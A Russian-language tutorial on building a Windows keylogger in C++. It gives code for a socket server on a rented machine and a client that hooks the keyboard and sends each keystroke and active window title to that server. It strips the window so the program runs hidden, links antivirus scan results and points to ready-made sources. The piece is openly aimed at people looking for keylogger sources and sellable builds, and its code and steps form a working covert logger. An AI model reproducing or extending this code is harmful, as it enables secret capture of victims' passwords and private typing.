Пишем кейлоггер на C++

Пишем кейлоггер на C++

ims0rry

Предисловие

На протяжении, примерно, месяца я постоянно наблюдал за различными просьбами, вопросами насчет кейлоггеров. Многие искали, но не могли найти исходники, многие искали, но не могли найти продажники и т.д.

Винхост, привет

В этой статье я хочу показать, насколько просто написать самому кейлоггер с базовым функционалом. Базу я позаимствовал отсюда - https://simple-keylogger.github.io, пофиксил баги и доработал под взаимодействие с WinSocket.

Материалы

Visual Studio 2015 Community Update 4

Visual C++ 2015

Структура приложения

Для начала необходимо определить, как вообще будет работать кейлоггер. Будь то отсылка логов на FTP/Почту, запись нажатий в сокет, отправка файла на гейт, запись логов в бд.

Я решил остановится на сокетах. Почему? Это удобно, просто и юзабельно.

Исходя из выбора, нам нужно будет сделать 2 приложения:

Сервер

Консольное приложение, которое будет принимать данные от клиента и выдавать в консоли

Клиент

Собственно, сам кейлоггер, который будет отсылать нажатия клавиш на сервер

И начнем мы, пожалуй, с сервера.

Сервер

Создаем консольное C++ приложение в Visual Studio.

Весь код есть в оф. примере MSDN - https://msdn.microsoft.com/en-us/library/ms737593(VS.85).aspx

Нам лишь нужно заменить некоторые значения в нем...

Сразу пропишем константные переменные: величину буффера и порт сервера, на который будут приходить логи

#define DEFAULT_BUFLEN 1024 //Буффер
#define DEFAULT_PORT "1337" //Порт


Вместо единоразового do/while ставим бесконечный цикл, в котором будем принимать данные от клиента, выводить их в консоль, закрывать соединение и по новой:

do {  
  ClientSocket = accept(ListenSocket, NULL, NULL); //Принимаем коннект
  iResult = recv(ClientSocket, recvbuf, recvbuflen, 0);//Считываем лог  
  if (iResult > 0) //Если лог не пустой
    printf("%s", recvbuf); //Выводим
  closesocket(ClientSocket);//Закрываем соединение  
  memset(recvbuf, 0, sizeof recvbuf);//Освобождаем память
} 
while (true);


Компилируем в Release, закидываем на дедик, открываем нужный нам порт и запускаем

Клиент

Создаем приложение Win32 в Visual Studio.

Как я уже и говорил выше, хук клавиатуры и обработчик нажатий я взял с https://github.com/GiacomoLaw/Keylogger/blob/master/windows/klog_main.cpp

Чтоб прикрутить отправку нажатия на сокет я обратился к https://msdn.microsoft.com/en-us/library/ms737591(VS.85).aspx

Так же, сразу определяем константные переменные: длину буффера, айпи дедика/компа и порт

#define DEFAULT_BUFLEN 20000
#define SERVER_IP "127.0.0.1"
#define SERVER_PORT "1337"


Некоторые переменные пришлось вытащить из их методов и сделать глобальными, чтобы код начал работать корректно:

WSADATA wsaData;
SOCKET ConnectSocket = INVALID_SOCKET;
HHOOK _hook;KBDLLHOOKSTRUCT kbdStruct;
char lastwindow[256];
int Save(int key_stroke);// Убрал второй аргумент


Создаем метод отправки данных на сервер по примеру, который был в начале абзаца. Далее, везде заменяем порт, айпи и передаваемую инфу на аргументы функции:

 void sendData(char *ip, char * port, char*data)


В методе Save делаем следующее - убираем второй аргумент и меняем запись логов в файл на отправку к серверу:

char data[DEFAULT_BUFLEN];   
sprintf(data, "\n\n[Window: %s - at %s]\n", window_title, s);   sendData(SERVER_IP, SERVER_PORT, data);


Далее, по такому же принципу, меняем отправку в нажатиях служебных клавиш. Отправку букв можно сделать таким образом:

char c[512];  
sprintf(c, "%c", key_stroke);  
sendData(SERVER_IP, SERVER_PORT, c);


Вырезаем все что связано с видимостью окна из кода, и, готово.

Итог

При запуске кейлоггера, он повиснет в процессах и будет обрабатывать каждое нажатие на клавиатуре. Возможно, некоторые символы будут отображаться некорректно, например, слеши, но все это можно исправить самому (ведь если бы все было идеально, ко мне в личку стучал Иисус с просьбой проверить продажник приватного кейлоггера).

Лог будет выглядеть так:

Русские символы, также, не поддерживаются

Ссылки

Сигнатурные сканы (не спрашивайте зачем просканил сервер, просто так):

Keylogger - http://viruscheckmate.com/id/ouECJftx3iK9

Server - http://viruscheckmate.com/id/xs88mfKIcACZ

Кейлоггер, взятый за основу - https://simple-keylogger.github.io

Сокет-сервер - https://msdn.microsoft.com/en-us/library/ms737593(VS.85).aspx

Сокет-клиент - https://msdn.microsoft.com/en-us/library/ms737591(VS.85).aspx

Готовые исходники проекта - https://github.com/ims0rry/Socket-keylogger

-----------------------------

Автор @ims0rry

https://t.me/ims0rryblog